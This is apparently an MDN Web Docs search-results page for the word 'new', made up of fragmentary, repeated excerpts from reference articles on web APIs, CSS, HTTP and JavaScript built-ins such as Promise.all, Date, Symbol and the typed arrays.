new instance of the plug-in gecko can load multiple instances of the same plug-in on a single page, or in several open windows at the same time. if you are browsing a page that has several embedded realaudio clips, for example, the browser will create as many instances of the realplayer plug-in as are needed (though of course playing several realaudio files at the same time would seldom be a good i...
...mine the mime types for that plug-in, and registers each plug-in library for its mime types. the following stages outline the life of a plug-in from loading to deletion: when gecko encounters data of a mime type registered for a plug-in (either embedded in an html page or in a separate file), it dynamically loads the plug-in code into memory, if it hasn't been loaded already, and it creates a
new instance of the plug-in. gecko calls the plug-in api function np_initialize when the plug-in code is first loaded. by convention, all of the plug-in specific functions have the prefix "npp", and all of the browser-specific functions have the prefix "npn". note: np_initialize and np_shutdown are not technically a part of the function table that the plug-in hands to the browser. the browser cal...
...And 5 more matches
Scripting plugins - Plugins
(a bit of history: npapi plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost this possibility in mozilla (due to the jni making the netscape 4.x jri obsolete). ...
... (a bit of history: npapi plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost this possibility in mozilla (due to the jni making the netscape 4.x jri obsolete). ...
...netscape 4.x jri obsolete). as an answer to this large gap in the netscape plugin api, an extension to the api has been developed that lets plugins be scriptable again, independent of java. ...
...And 5 more matches
CSSStyleSheet.insertRule() - Web APIs
the default is 0. ...
...ntax stylesheet.insertrule(rule [, index]) parameters rule a domstring containing the rule to be inserted. what the inserted rule must contain depends on its type: for rule-sets, both a selector and a style declaration. for at-rules, both an at-identifier and the rule content. index optional a positive integer less than or equal to stylesheet.cssrules.length, representing the
newly inserted rule's position in cssstylesheet.cssrules. the default is 0. (in older implementations, this was required. see browser compatibility for details.) return value the
newly inserted rule's index within the stylesheet's rule-list. restrictions css has some intuitive and not-so-intuitive restrictions affecting where rules can be inserted. violating them will likely raise a domexception...
...a hierarchyrequesterror. if more than one rule is given in the rule parameter, the method aborts with a syntaxerror. if trying to insert an @import at-rule after a style rule, the method aborts with a hierarchyrequesterror. if rule is @namespace and the rule-list has more than just @import at-rules and/or @namespace at-rules, the method aborts with an invalidstateerror. examples inserting a
new rule this snippet pushes a
new rule onto the top of my stylesheet. mystyle.insertrule('#blanc { color: white }', 0); function to add a stylesheet rule /** * add a stylesheet rule to the document (it may be better practice * to dynamically change classes, so style information can be kept in * genuine stylesheets and avoid adding extra elements to the dom). * note that an array is needed f...
...And 5 more matches
Using images - Web APIs
, we access other canvas elements using either the document.getelementsbytagname() or document.getelementbyid() method. be sure you've drawn something to the source canvas before using it in your target canvas. one of the more practical uses of this would be to use a second canvas element as a thumbnail view of the other larger canvas. creating an image from scratch another option is to create
new htmlimageelement objects in our script. to do this, you can use the convenient image() constructor: var img =
new image(); // create
new img element img.src = 'myimage.png'; // set source path when this script gets executed, the image starts loading. if you try to call drawimage() before the image has finished loading, it won't do anything (or, in older browsers, may even throw an exception...
...=
new image(); // create
new img element img.src = 'myimage.png'; // set source path when this script gets executed, the image starts loading. if you try to call drawimage() before the image has finished loading, it won't do anything (or, in older browsers, may even throw an exception). so you need to be sure to use the load event so you don't try this before the image has loaded: var img =
new image(); // create
new img element img.addeventlistener('load', function() { // execute drawimage statements here }, false); img.src = 'myimage.png'; // set source path if you're only using one external image this can be a good approach, but once you need to track more than one we need to resort to something more clever. it's beyond the scope of this tutorial to look at image pre-loading ta...
... to track more than one we need to resort to something more clever. it's beyond the scope of this tutorial to look at image pre-loading tactics, but you should keep that in mind. embedding an image via data: url another possible way to include images is via the data: url. data urls allow you to completely define an image as a base64 encoded string of characters directly in your code. var img =
new image(); // create
new img element img.src = 'data:image/gif;base64,r0lgodlhcwalaiaaaaaa3pn/zih5baeaaaealaaaaaalaasaaaiuha+hkcuo4lmnvindo7qyrixigbyaow=='; one advantage of data urls is that the resulting image is available immediately without another round trip to the server. another potential advantage is that it is also possible to encapsulate in one file all of your css, javascript, html, ...
...And 5 more matches
HTMLTableRowElement.insertCell() - Web APIs
if index is -1 or equal to the number of cells, the cell is appended as the last cell in the row. ...
...if index is -1 or equal to the number of cells, the cell is appended as the last cell in the row. ...
...if index is -1 or equal to the number of cells, the cell is appended as the last cell in the row. ...
...And 5 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
ou can read the information in the article in depth: microtasks and the javascript runtime environment. tasks a task is any javascript code which is scheduled to be run by the standard mechanisms such as initially starting to run a program, an event callback being run, or an interval or timeout being fired. these all get scheduled on the task queue. tasks get added to the task queue when: a
new javascript program or subprogram is executed (such as from a console, or by running the code in a <script> element) directly. an event fires, adding the event's callback function to the task queue. a timeout or interval created with settimeout() or setinterval() is reached, causing the corresponding callback to be added to the task queue. the event loop driving your code handles these tasks o...
...e a task exits, the event loop checks to see if the task is returning control to other javascript code. if not, it runs all of the microtasks in the microtask queue. the microtask queue is, then, processed multiple times per iteration of the event loop, including after handling events and other callbacks. second, if a microtask adds more microtasks to the queue by calling queuemicrotask(), those
newly-added microtasks execute before the next task is run. that's because the event loop will keep calling microtasks until there are none left in the queue, even if more keep getting added. warning: since microtasks can themselves enqueue more microtasks, and the event loop continues processing microtasks until the queue is empty, there's a real risk of getting the event loop endlessly processing...
...promises one situation in which microtasks can be used to ensure that the ordering of execution is always consistent is when promises are used in one clause of an if...else statement (or other conditional statement), but not in the other clause. ...
...And 5 more matches
Headers - Web APIs
ader names and forbidden response header names. a headers object also has an associated guard, which takes a value of immutable, request, request-no-cors, response, or none. this affects whether the set(), delete(), and append() methods will mutate the header. for more information see guard. you can retrieve a headers object via the request.headers and response.headers properties, and create a
new headers object using the headers.headers() constructor. an object implementing headers can directly be used in a for...of structure, instead of entries(): for (var p of myheaders) is equivalent to for (var p of myheaders.entries()). note: you can find more out about the available headers by reading our http headers reference. constructor headers() creates a
new headers object. methods ...
...rs.headers() constructor. an object implementing headers can directly be used in a for...of structure, instead of entries(): for (var p of myheaders) is equivalent to for (var p of myheaders.entries()). note: you can find more out about the available headers by reading our http headers reference. constructor headers() creates a
new headers object. methods headers.append() appends a
new value onto an existing header inside a headers object, or adds the header if it does not already exist. headers.delete() deletes a header from a headers object. headers.entries() returns an iterator allowing to go through all key/value pairs contained in this object. headers.foreach() executes a provided function once for each array element. headers.get() returns a bytestring sequence of ...
...ded function once for each array element. headers.get() returns a bytestring sequence of all the values of a header within a headers object with a given name. headers.has() returns a boolean stating whether a headers object contains a certain header. headers.keys() returns an iterator allowing you to go through all keys of the key/value pairs contained in this object. headers.set() sets a
new value for an existing header inside a headers object, or adds the header if it does not already exist. headers.values() returns an iterator allowing you to go through all values of the key/value pairs contained in this object. note: to be clear, the difference between headers.set() and headers.append() is that if the specified header does already exist and does accept multiple values, header...
...And 5 more matches
IDBObjectStore - Web APIs
bjectstore.transaction read only the idbtransaction object to which this object store belongs. idbobjectstore.autoincrement read only the value of the auto increment flag for this object store. methods idbobjectstore.add() returns an idbrequest object, and, in a separate thread, creates a structured clone of the value, and stores the cloned value in the object store. this is for adding
new records to an object store. idbobjectstore.clear() creates and immediately returns an idbrequest object, and clears this object store in a separate thread. this is for deleting all current records out of an object store. idbobjectstore.count() returns an idbrequest object, and, in a separate thread, returns the total number of records that match the provided key or idbkeyrange. if no argument...
...d clears this object store in a separate thread. this is for deleting all current records out of an object store. idbobjectstore.count() returns an idbrequest object, and, in a separate thread, returns the total number of records that match the provided key or idbkeyrange. if no arguments are provided, it returns the total number of records in the store. idbobjectstore.createindex() creates a
new index during a version upgrade, returning a
new idbindex object in the connected database. idbobjectstore.delete() returns an idbrequest object, and, in a separate thread, deletes the store object selected by the specified key. this is for deleting individual records out of an object store. idbobjectstore.deleteindex() destroys the specified index in the connected database, used during a vers...
...keys for all objects in the object store matching the specified parameter or all objects in the store if no parameters are given. idbobjectstore.index() opens an index from this object store after which it can, for example, be used to return a sequence of records sorted by that index using a cursor. idbobjectstore.opencursor() returns an idbrequest object, and, in a separate thread, returns a
new idbcursorwithvalue object. used for iterating through an object store by primary key with a cursor. idbobjectstore.openkeycursor() returns an idbrequest object, and, in a separate thread, returns a
new idbcursor. used for iterating through an object store with a key. idbobjectstore.put() returns an idbrequest object, and, in a separate thread, creates a structured clone of the value, and sto...
...And 5 more matches
Recording a media element - Web APIs
is specifies the length of the videos we'll record. utility functions next, we create some utility functions that will get used later. function log(msg) { logelement.innerhtml += msg + "\n"; } the log() function is used to output text strings to a <div> so we can share information with the user. not very pretty but it gets the job done for our purposes. function wait(delayinms) { return
new promise(resolve => settimeout(resolve, delayinms)); } the wait() function returns a
new promise which resolves once the specified number of milliseconds have elapsed. it works by using an arrow function which calls window.settimeout(), specifying the promise's resolution handler as the timeout handler function. that lets us use promise syntax when using timeouts, which can be very handy when ch...
...unction which calls window.settimeout(), specifying the promise's resolution handler as the timeout handler function. that lets us use promise syntax when using timeouts, which can be very handy when chaining promises, as we'll see later. ...
...mises, as we'll see later. ...
...And 5 more matches
SubtleCrypto.encrypt() - Web APIs
ot been modified by an attacker. examples note: you can try the working examples out on github. rsa-oaep this code fetches the contents of a text box, encodes it for encryption, and encrypts it with using rsa-oaep. see the complete code on github. function getmessageencoding() { const messagebox = document.queryselector(".rsa-oaep #message"); let message = messagebox.value; let enc =
new textencoder(); return enc.encode(message); } function encryptmessage(publickey) { let encoded = getmessageencoding(); return window.crypto.subtle.encrypt( { name: "rsa-oaep" }, publickey, encoded ); } aes-ctr this code fetches the contents of a text box, encodes it for encryption, and encrypts it using aes in ctr mode. see the complete code on github. function ge...
...window.crypto.subtle.encrypt( { name: "rsa-oaep" }, publickey, encoded ); } aes-ctr this code fetches the contents of a text box, encodes it for encryption, and encrypts it using aes in ctr mode. see the complete code on github. ...
...es in ctr mode. see the complete code on github. ...
...And 5 more matches
Window: popstate event - Web APIs
fferently on page load. chrome (prior to v34) and safari always emit a popstate event on page load, but firefox doesn't. note: when writing functions that process popstate event it is important to take into account that properties like window.location will already reflect the state change (if it affected the current url), but document might still not. ...
... to better understand when the popstate event is fired, consider this simplified sequence of events that occurs when the current history entry changes due to either th...
... to effectively put its inner callback function that does the processing at the end of the browser event loop: window.onpopstate = () => settimeout(dosomething, 0); when popstate is sent when the transition occurs, either due to the user triggering the browser's "back" button or otherwise, the popstate event is near the end of the process to transition to the
new location. it happens after the
new location has loaded (if needed), displayed, made visible, and so on, after the pageshow event is sent, but before the persisted user state information is restored and the hashchange event is sent. to better understand when the popstate event is fired, consider this simplified sequence of events that occurs when the current history entry changes due to either the user navigating the site or the h...
...And 5 more matches
WritableStream.WritableStream() - Web APIs
underlyingsink can contain the following: start(controller) optional this is a method, called immediately when the object is constructed. the contents of this method are defined by the developer, and should aim to get access to the underlying sink. if this process is to be done asynchronously, it can return a promise to signal success or failure. the controller parameter passed to this method is a writablestreamdefaultcontroller. ...
...m to get access to the underlying sink. if this process is to be done asynchronously, it can return a promise to signal success or failure. the controller parameter passed to this method is a writablestreamdefaultcontroller. this can be used by the developer to control the stream during set up. write(chunk, controller) optional this method, also defined by the developer, will be called when a
new chunk of data (specified in the chunk parameter) is ready to be written to the underlying sink. it can return a promise to signal success or failure of the write operation. the controller parameter passed to this method is a writablestreamdefaultcontroller that can be used by the developer to control the stream as more chunks are submitted for writing. this method will be called only after previo...
...s supplied, the default used is the same as a countqueuingstrategy with a high water mark of 1. return value an instance of the writablestream object. examples the following example illustrates several features of this interface. it shows the creation of the writablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called sendmessage(), passing the
newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.queryselector('ul'); functi...
...And 5 more matches
Sending and Receiving Binary Data - Web APIs
ontain the entity body according to responsetype, as an arraybuffer, blob, document, json, or string. this is null if the request is not complete or was not successful. this example reads an image as a binary file and creates an 8-bit unsigned integer array from the raw bytes. note that this will not decode the image and read the pixels. you will need a png decoding library for that. ...
...signed integer array from the raw bytes. note that this will not decode the image and read the pixels. you will need a png decoding library for that. ...
...(oevent) { var arraybuffer = oreq.response; // note: not oreq.responsetext if (arraybuffer) { var bytearray =
new uint8array(arraybuffer); for (var i = 0; i < bytearray.bytelength; i++) { // do something with each byte in the array } } }; oreq.send(null); you can also read a binary file as a blob by setting the string "blob" to the responsetype property. var oreq =
new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "blob"; oreq.onload = function(oevent) { var blob = oreq.response; // ... ...
...And 5 more matches
Introduction to formatting contexts - CSS: Cascading Style Sheets
hes the first, or initial block formatting context. this means that every element inside the <html> element's block is laid out according to normal flow following the rules for block and inline layout. elements participating in a bfc use the rules outlined by the css box model, which defines how an element's margins, borders, and padding interact with other blocks in the same context. ...
...ng in a bfc use the rules outlined by the css box model, which defines how an element's margins, borders, and padding interact with other blocks in the same context. creating a
new block formatting context the <html> element is not the only element capable of creating a block formatting context. any block-level element can be made to create a bfc by the application of certain css properties. ...
...ls created when using the display: table-* properties table captions or elements with display: table-caption block elements where overflow has a value other than visible elements with display: flow-root or display: flow-root list-item elements with contain: layout, content, or strict flex items grid items multicol containers elements with column-span set to all this is useful because a
new bfc will behave much like the outermost document in that it becomes a mini-layout inside the main layout. a bfc contains everything inside it, float and clear only apply to items inside the same formatting context, and margins only collapse between elements in the same formatting context. bfc creation examples let's have a look at a couple of these in order to see the effect creating a
new bfc.
...And 5 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
-dimensional layouts. in this first example, i am using flexbox to lay out a set of boxes. i have five child items in my container, and i have given the flex properties values so that they can grow and shrink from a flex-basis of 150 pixels. i have also set the flex-wrap property to wrap, so that if the space in the container becomes too narrow to maintain the flex basis, items will wrap onto a
new row. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { ...
...space distribution happens across the row. a common question then is how to make those items line up. this is where you want a two-dimensional layout method: you want to control the ...
...space distribution happens across the row. ...
...And 5 more matches
Audio and Video Delivery - Developer guides
o.setattribute('src','videofile.mp4'); } else if (myvideo.canplaytype('video/webm')) { myvideo.setattribute('src','videofile.webm'); } myvideo.width = 480; myvideo.height = 320; we set the source of the video depending on the type of video file the browser supports we then set the width and height of the video. ...
...4'); } else if (myvideo.canplaytype('video/webm')) { myvideo.setattribute('src','videofile.webm'); } myvideo.width = 480; myvideo.height = 320; we set the source of the video depending on the type of video file the browser supports we then set the width and height of the video. ...
....getelementbyid('webcam'); video.autoplay = true; video.srcobject = stream; }) .catch(function onerror() { alert('there has been a problem retreiving the streams - are you running on file:/// or did you disallow access?'); }); } else { alert('getusermedia is not supported in this browser.'); } to find out more, read our mediadevices.getusermedia page. mediastream recording
new standards are being rolled out to allow your browser to grab media from your mic or camera using getusermedia and record it instantly using the
new mediarecorder api. you take the stream you receive from getusermedia, pass it to a mediarecorder object, take the resulting output and feed it to your audio or video source*. the main mechanism is outlined below: navigator.mediadevices.getusermedi...
...And 5 more matches
Block formatting context - Developer guides
lay: flex or inline-flex) if they are neither flex nor grid nor table containers themselves. grid items (direct children of the element with display: grid or inline-grid) if they are neither flex nor grid nor table containers themselves. multicol containers (elements where column-count or column-width isn't auto, including elements with column-count: 1). column-span: all should always create a
new formatting context, even when the column-span: all element isn't contained by a multicol container (spec change, chrome bug). formatting contexts affect layout, but typically, we create a
new block formatting context for the positioning and clearing floats rather than changing the layout, because an element that establishes a
new block formatting context will: contain internal floats. exclu...
...there's no floating children avaliable inside a flex/grid container, but exclude external floats and suppress margin collapsing still works. examples contain internal floats make float content and alongside content the same height. ...
...grid formatting context, which is similar to block formatting context except layout. there's no floating children avaliable inside a flex/grid container, but exclude external floats and suppress margin collapsing still works. examples contain internal floats make float content and alongside content the same height. let's have a look at a couple of these in order to see the effect creating a
new bfc. in the following example, we have a floated element inside a <div> with a border applied. the content of that <div> has floated alongside the floated element. as the content of the float is taller than the content alongside it, the border of the <div> now runs through the float. as explained in the guide to in-flow and out of flow elements, the float has been taken out of flow so the backgr...
...And 5 more matches
Evolution of HTTP - HTTP
protocol (http). a client to display (and accidentally edit) these documents, the first web browser called worldwideweb. a server to give access to the document, an early version of httpd. these four building blocks were completed by the end of 1990, and the first servers were already running outside of cern by early 1991. on august 6th 1991, tim berners-lee's post on the public alt.hypertext
newsgroup is now considered as the official start of the world wide web as a public project. the http protocol used in those early phases was very simple, later dubbed http/0.9, and sometimes as the one-line protocol. http/0.9 – the one-line protocol the initial version of http had no version number; it has been later called 0.9 to differentiate it from the later versions. http/0.9 is extremely ...
...response, allowing the browser itself to understand the success or failure of the request and to adapt its behavior in consequence (like in updating or using its local cache in a specific way) the notion of http headers has been introduced, both for the requests and the responses, allowing metadata to be transmitted and making the protocol extremely flexible and extensible. with the help of the
new http headers, the ability to transmit other documents than plain html files has been added (thanks to the content-type header). at this point, a typical request and response looked like this: get /mypage.html http/1.0 user-agent: ncsa_mosaic/2.0 (windows 3.1) 200 ok date: tue, 15 nov 1994 08:12:31 gmt server: cern/3.0 libwww/2.17 content-type: text/html <html> a page with an image <img src=...
..._header 200 ok age: 9578461 cache-control: public, max-age=315360000 connection: keep-alive content-length: 3077 content-type: image/png date: thu, 31 mar 2016 13:34:46 gmt last-modified: wed, 21 oct 2015 18:27:50 gmt server: apache (image content of 3077 bytes) http/1.1 was first published as rfc 2068 in january 1997. more than 15 years of extensions thanks to its extensibility – creating
new headers or methods is easy – and even if the http/1.1 protocol was refined over two revisions, rfc 2616 published in june 1999 and the series of rfc 7230-rfc 7235 published in june 2014 in prevision of the release of http/2, this protocol has been extremely stable over more than 15 years. using http for secure transmissions the largest change that happened to http was done as early as end of ...
...And 5 more matches
HTTP Index - HTTP
ut description, images, videos, scripts, and more 4 basics of http guide, http, overview http is a pretty extensible protocol. it relies on a few basic concepts like the notion of resources and uris, a simple structure of messages, and a client-server structure for the communication flow. on top of these basic concepts, numerous extensions have appeared over the years, adding
new functionality and
new semantics by creating
new http methods or headers. 5 choosing between www and non-www urls guide, http, url a recurring question among website owners is whether to choose non-www or www urls. this page provides some advice on what's best. 6 data urls base64, guide, http, intermediate, url data urls, urls prefixed with the data: schem...
... to progressively enhance itself based on the availability of features rather than by targeting specific browsers. 13 compression in http guide, http, compression compression is an important way to increase the performance of a web site. for some documents, size reduction of up to 70% lowers the bandwidth capacity needs. over the years, algorithms also got more efficient, and
new ones are supported by clients and servers. 14 configuring servers for ogg media audio, http, media, ogg, video this guide covers a few server configuration changes that may be necessary for your web server to correctly serve ogg media files. 15 connection management in http/1.x connection management, guide, http, networking, performance, webmechanics conn...
...the media type of the resource. 109 cookie cookies, http, reference, header, request the cookie http request header contains stored http cookies previously sent by the server with the set-cookie header. 110 cookie2 http, obsolete, reference, header, request the obsolete cookie2 http request header used to advise the server that the user agent understands "
new-style" cookies, but nowadays user agents will use the cookie header instead, not this one. 111 cross-origin-resource-policy http, http header, reference, response header, header the http cross-origin-resource-policy response header conveys a desire that the browser blocks no-cors cross-origin/cross-site requests to the given resource. 112 dnt dnt, http, referen...
...And 5 more matches
Equality comparisons and sameness - JavaScript
which operation you choose depends on what sort of comparison you are looking to perform. briefly: double equals (==) will perform a type conversion when comparing two things, and will handle nan, -0, and +0 specially to conform to ieee 754 (so nan != nan, and -0 == +0); triple equals (===) will do the same comparison as double equals (including the special handling for nan, -0,...
...plicitly converted to some other value before being compared. if the values have different types, the values are considered unequal. if the values have the same type, are not numbers, and have the same value, they're considered equal. finally, if both values are numbers, they're considered equal if they're both not nan and are the same value, or if one is +0 and one is -0. ...
...wsers permit a very narrow class of objects (specifically, the document.all object for any page), in some contexts, to act as if they emulate the value undefined. loose equality is one such context: null == a and undefined == a evaluate to true if, and only if, a is an object that emulates undefined. in all other cases an object is never loosely equal to undefined or null. ...
...And 5 more matches
JavaScript modules - JavaScript
years to start thinking about providing mechanisms for splitting javascript programs up into separate modules that can be imported when needed. node.js has had this ability for a long time, and there are a number of javascript libraries and frameworks that enable module usage (for example, other commonjs and amd-based module systems like requirejs, and more recently webpack and babel). the good
news is that modern browsers have started to support module functionality natively, and this is what this article is all about. this can only be a good thing — browsers can optimize loading of modules, making it more efficient than having to use a library and do all of that extra client-side processing and extra round trips. browser support use of native javascript modules is dependent on the imp...
...raw(), reportarea(), etc. too; if we tried to import different functions of the same name into the same top-level module file, we'd end up with conflicts and errors. fortunately there are a number of ways to get around this. we'll look at these in the following sections. ...
... the following sections. renaming imports and exports inside your import and export statement's curly braces, you can use the keyword as along with a
new feature name, to change the identifying name you will use for a feature inside the top-level module. so for example, both of the following would do the same job, albeit in a slightly different way: // inside module.js export { function1 as
newfunctionname, function2 as another
newfunctionname }; // inside main.js import {
newfunctionname, another
newfunctionname } from './modules/module.js'; // inside module.js export { function1, function2 }; // inside main.js import { function1 as
newfunctionname, function2 as another
newfunctionname } from './modules/module.js'; let's look at a real example. in our renaming directory you...
...And 5 more matches
Numbers and dates - JavaScript
tes similarly to java. the two languages have many of the same date methods, and both languages store dates as the number of milliseconds since january 1, 1970, 00:00:00, with a unix timestamp being the number of seconds since january 1, 1970, 00:00:00. the date object range is -100,000,000 days to 100,000,000 days relative to 01 january, 1970 utc. to create a date object: var dateobjectname =
new date([parameters]); where dateobjectname is the name of the date object being created; it can be a
new object or a property of an existing object. calling date without the
new keyword returns a string representing the current date and time. the parameters in the preceding syntax can be any of the following: nothing: creates today's date and time. for example, today =
new date();. a string...
...t or a property of an existing object. calling date without the
new keyword returns a string representing the current date and time. the parameters in the preceding syntax can be any of the following: nothing: creates today's date and time. for example, today =
new date();. a string representing a date in the following form: "month day, year hours:minutes:seconds." for example, var xmas95 =
new date("december 25, 1995 13:30:00"). if you omit hours, minutes, or seconds, the value will be set to zero. a set of integer values for year, month, and day. for example, var xmas95 =
new date(1995, 11, 25). a set of integer values for year, month, day, hour, minute, and seconds. for example, var xmas95 =
new date(1995, 11, 25, 9, 30, 0);. methods of the date object the date object methods fo...
...ek, but no corresponding setday method, because the day of the week is set automatically. ...
...And 5 more matches
Array.prototype.filter() - JavaScript
return true to keep the element, false otherwise. it accepts three arguments: element the current element being processed in the array. indexoptional the index of the current element being processed in the array. ...
...return true to keep the element, false otherwise. it accepts three arguments: element the current element being processed in the array. indexoptional the index of the current element being processed in the array. ...
... to test each element of the array. return true to keep the element, false otherwise. it accepts three arguments: element the current element being processed in the array. indexoptional the index of the current element being processed in the array. arrayoptional the array filter was called upon. thisargoptional value to use as this when executing callback. return value a
new array with the elements that pass the test. if no elements pass the test, an empty array will be returned. description filter() calls a provided callback function once for each element in an array, and constructs a
new array of all the values for which callback returns a value that coerces to true. callback is invoked only for indexes of the array which have assigned values; it is not invoked f...
...And 5 more matches
Error - JavaScript
error types besides the generic error constructor, there are seven other core error constructors in javascript. for client-side exceptions, see exception handling statements. evalerror creates an instance representing an error that occurs regarding the global function eval(). ...
...that occurs when de-referencing an invalid reference. syntaxerror creates an instance representing a syntax error. typeerror creates an instance representing an error that occurs when a variable or parameter is not of a valid type. urierror creates an instance representing an error that occurs when encodeuri() or decodeuri() are passed invalid parameters. constructor error() creates a
new error object. static methods error.capturestacktrace() a non-standard v8 function that creates the stack property on an error instance. instance properties error.prototype.message error message. error.prototype.name error name. error.prototype.description a non-standard microsoft property for the error description. similar to message. error.prototype.number a non-standard micros...
...tandard mozilla property for a stack trace. instance methods error.prototype.tostring() returns a string representing the specified object. overrides the object.prototype.tostring() method. examples throwing a generic error usually you create an error object with the intention of raising it using the throw keyword. ...
...And 5 more matches
Intl.NumberFormat - JavaScript
the intl.numberformat object is a constructor for objects that enable language sensitive number formatting. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constructor intl.numberformat() creates a
new numberformat object. static methods intl.numberformat.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale. instance methods intl.numberformat.prototype.format() getter function that formats a number according to the locale and formatting options of this numberformat object. intl.numberformat.prot...
... instance methods intl.numberformat.prototype.format() getter function that formats a number according to the locale and formatting options of this numberformat object. intl.numberformat.prototype.formattoparts() returns an array of objects representing the number string in parts that can be used for custom locale-aware formatting. ...
...n be used for custom locale-aware formatting. intl.numberformat.prototype.resolvedoptions() returns a
new object with properties reflecting the locale and collation options computed during initialization of the object. examples basic usage in basic use without specifying a locale, a formatted string in the default locale and with default options is returned. var number = 3500; console.log(
new intl.numberformat().format(number)); // → '3,500' if in us english locale using locales this example shows some of the variations in localized number formats. in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: var number = 123456.789; // german uses ...
...And 5 more matches
Promise.all() - JavaScript
s, the promise returned by promise.all is fulfilled asynchronously. rejection if any of the passed-in promises reject, promise.all asynchronously rejects with the value of the promise that rejected, whether or not the other promises have resolved. examples using promise.all promise.all waits for all fulfillments (or the first rejection). ...
...d", <value>: array[0] } // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: array[2] } promise.all fail-fast behaviour promise.all is rejected if any of the elements are rejected. for example, if you pass in four promises that resolve after a timeout and one promise that rejects immediately, then promise.all will reject immediately. ...
...mise { <state>: "fulfilled", <value>: array[2] } promise.all fail-fast behaviour promise.all is rejected if any of the elements are rejected. for example, if you pass in four promises that resolve after a timeout and one promise that rejects immediately, then promise.all will reject immediately. ...
...And 5 more matches
SharedArrayBuffer - JavaScript
memory using sharedarraybuffer objects from one agent in the cluster to another (an agent is either the web page’s main program or one of its web workers), postmessage and structured cloning is used. the structured clone algorithm accepts sharedarraybuffers and typedarrays mapped onto sharedarraybuffers. ...
...rraybuffers. in both cases, the sharedarraybuffer object is transmitted to the receiver resulting in a
new, private sharedarraybuffer object in the receiving agent (just as for arraybuffer). however, the shared data block referenced by the two sharedarraybuffer objects is the same data block, and a side effect to the block in one agent will eventually become visible in the other agent. var sab =
new sharedarraybuffer(1024); worker.postmessage(sab); updating and synchronizing shared memory with atomic operations shared memory can be created and updated simultaneously in workers or the main thread. depending on the system (the cpu, the os, the browser) it can take a while until the change is propagated to all contexts. to synchronize, atomic operations are needed. apis which use sharedarra...
...ntil the change is propagated to all contexts. to synchronize, atomic operations are needed. apis which use sharedarraybuffer objects webglrenderingcontext.bufferdata() webglrenderingcontext.buffersubdata() webgl2renderingcontext.getbuffersubdata() security requirements shared memory and high-resolution timers were effectively disabled at the start of 2018 in light of spectre. in 2020, a
new, secure approach has been standardized to re-enable shared memory. with a few security measures, postmessage() will no longer throw for sharedarraybuffer objects and shared memory across threads will be available: as a baseline requirement, your document needs to be in a secure context. for top-level documents, two headers will need to be set to cross-origin isolate your site: cross-origin-o...
...And 5 more matches
Symbol - JavaScript
the data type symbol is a primitive data type. the symbol() function returns a value of type symbol, has static properties that expose several members of built-in objects, has static methods that expose the global symbol registry, and resembles a built-in object class, but is incomplete as a constructor because it does not support the syntax "
new symbol()". every symbol value returned from symbol() is unique. ...
...ed from symbol() is unique. a symbol value may be used as an identifier for object properties; this is the data type's primary purpose, although other use-cases exist, such as enabling opaque data types, or serving as an implementation-supported unique identifier in general. some further explanation about purpose and usage can be found in the glossary entry for symbol. ...
...paque data types, or serving as an implementation-supported unique identifier in general. some further explanation about purpose and usage can be found in the glossary entry for symbol. description to create a
new primitive symbol, you write symbol() with an optional string as its description: let sym1 = symbol() let sym2 = symbol('foo') let sym3 = symbol('foo') the above code creates three
new symbols. note that symbol("foo") does not coerce the string "foo" into a symbol. ...
...And 5 more matches
Uint16Array() constructor - JavaScript
the uint16array() typed array constructor creates an array of 16-bit unsigned integers in the platform byte order. syntax
new uint16array(); //
new in es2017
new uint16array(length);
new uint16array(typedarray);
new uint16array(object);
new uint16array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. ...
...array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a
new typed array view is created that views the specified arraybuffer. the byteof...
... of 16-bit unsigned integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). ...
...And 5 more matches
Uint8Array() constructor - JavaScript
the uint8array() constructor creates a typed array of 8-bit unsigned integers. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). syntax
new uint8array(); //
new in es2017
new uint8array(length);
new uint8array(typedarray);
new uint8array(object);
new uint8array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. e...
...array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a
new typed array view is created that views the specified arraybuffer. the byteof...
...eoffset and a length argument, a
